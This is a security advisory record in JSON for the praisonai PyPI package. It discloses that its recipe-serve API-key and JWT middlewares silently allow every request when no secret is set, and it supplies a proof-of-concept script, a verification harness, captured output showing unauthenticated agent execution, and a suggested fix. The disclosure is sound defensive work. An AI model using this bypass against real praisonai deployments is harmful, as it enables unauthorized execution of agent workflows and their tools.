{"id":"PYSEC-2026-3513","summary":"praisonai: recipe serve auth middleware silently disables itself when no secret is set","details":"# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n    if not expected_key:\n        # No key configured, allow request\n        return await call_next(request)\n    ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n    if not secret:\n        return await call_next(request)\n    ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don't get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n   Expected behavior, after setting `auth: api-key` in the recipe YAML:\n     \"Now my recipe endpoints require an X-API-Key header.\"\n\n   Actual behavior (serve.py:325-333):\n     - middleware reads `expected_key = api_key or\n       os.environ.get(\"PRAISONAI_API_KEY\")`\n     - if `expected_key` is None (neither YAML nor env supplied\n       one), middleware logs nothing and forwards the request.\n     - operator's recipe routes accept the request as if it were\n       authenticated.  request.state.user is unset.\n\n   Impact:\n     The middleware's documented job is \"validate the API key\n     against the configured value\".  The configured-value-is-None\n     case is exactly the case the middleware should fail closed\n     on — operator has signalled they want auth.  Failing open\n     silently turns a documented authentication into a runtime\n     no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers — no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `'REACHED-DOWNSTREAM (path=/runs)'` from the fake `call_next` — proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type='jwt'` — same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\n    middleware.dispatch -\u003e 'REACHED-DOWNSTREAM (path=/runs)'\n[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\n    middleware.dispatch -\u003e 'REACHED-DOWNSTREAM (path=/runs)'\n    APIKeyAuthMiddleware allowed the request through without an API key.\n    JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep '# No key configured, allow request' -\u003e line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows — same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` — `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` — `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` — call site:\n  ```python\n  auth_type = config.get(\"auth\")\n  if auth_type and auth_type != \"none\":\n      auth_middleware = create_auth_middleware(\n          auth_type,\n          api_key=config.get(\"api_key\"),\n          jwt_secret=config.get(\"jwt_secret\"),\n      )\n  ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n    if auth_type == 'api-key':\n        expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n        if not expected_key:\n            raise SystemExit(\n                \"auth_type='api-key' requested but no API key is \"\n                \"configured.  Either set `api_key:` in your recipe \"\n                \"YAML or export PRAISONAI_API_KEY.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n    elif auth_type == 'jwt':\n        secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n        if not secret:\n            raise SystemExit(\n                \"auth_type='jwt' requested but no JWT secret is \"\n                \"configured.  Either set `jwt_secret:` in your recipe \"\n                \"YAML or export PRAISONAI_JWT_SECRET.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML.  Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app — and the operator's expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    print('=' * 72)\n    print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')\n    print('=' * 72)\n\n    # Realistic deploy: operator sets `auth: api-key` in YAML but\n    # forgets to set api_key / env var.\n    for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    from praisonai.recipe import serve as serve_mod\n\n    src = inspect.getsourcefile(serve_mod)\n    with open(src, 'rb') as f:\n        raw = f.read()\n    sha = hashlib.sha256(raw).hexdigest()\n\n    print()\n    print(f'[1] serve.py path : {src}')\n    print(f'    sha256        : {sha}')\n\n    from starlette.requests import Request\n    create_auth_middleware = serve_mod.create_auth_middleware\n\n    async def fake_call_next(request):\n        return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n    async def driver(auth_type: str, headers=None):\n        scope = {\n            'type': 'http', 'method': 'GET', 'path': '/runs',\n            'headers': headers or [], 'query_string': b'', 'scheme': 'http',\n            'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',\n        }\n        request = Request(scope, receive=lambda: None)\n        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n        if mw_cls is None:\n            return 'middleware-import-failed'\n        instance = mw_cls(app=None)\n        return await instance.dispatch(request, fake_call_next)\n\n    import asyncio\n\n    print()\n    print(\"[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env\")\n    result_apikey = asyncio.run(driver('api-key'))\n    print(f\"    middleware.dispatch -\u003e {result_apikey!r}\")\n\n    print()\n    print(\"[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n    result_jwt = asyncio.run(driver('jwt'))\n    print(f\"    middleware.dispatch -\u003e {result_jwt!r}\")\n\n    vulnerable = False\n    if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:\n        vulnerable = True\n        print('    APIKeyAuthMiddleware allowed the request through without an API key.')\n    if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:\n        vulnerable = True\n        print('    JWTAuthMiddleware allowed the request through without a Bearer token.')\n\n    # Static check that the bypass is on the code path.\n    text = raw.decode('utf-8', errors='replace')\n    needle_api = '# No key configured, allow request'\n    apikey_line = next(\n        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n        None,\n    )\n    print()\n    print('[4] static cross-check — bypass branch on the code path')\n    print(f\"    grep '{needle_api}' -\u003e line {apikey_line}\")\n\n    if not vulnerable:\n        print('UNEXPECTED — the dispatch did not return the bypass result.')\n        return 1\n\n    print()\n    print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')\n    print('            both silently bypass auth when the operator sets auth_type')\n    print('            but forgets the corresponding secret — unauthenticated access')\n    print('            to recipe execution endpoints.')\n    print('VERDICT: VULNERABLE')\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None)   # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n    app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n    app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -\u003e REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None)        # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth='api-key', NO key configured, NO header -\u003e HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -\u003e unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth='api-key', key CONFIGURED, NO header  -\u003e HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth='api-key', NO key configured, NO header -\u003e HTTP 200 body='AGENT EXECUTED'\n[*] auth='api-key', key CONFIGURED, NO header  -\u003e HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.","aliases":["CVE-2026-57127","GHSA-j4hj-7hfh-g2f4"],"modified":"2026-07-23T15:00:17.210354575Z","published":"2026-07-23T11:41:41.568824Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j4hj-7hfh-g2f4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57127"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.59"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.58","4.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3513.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}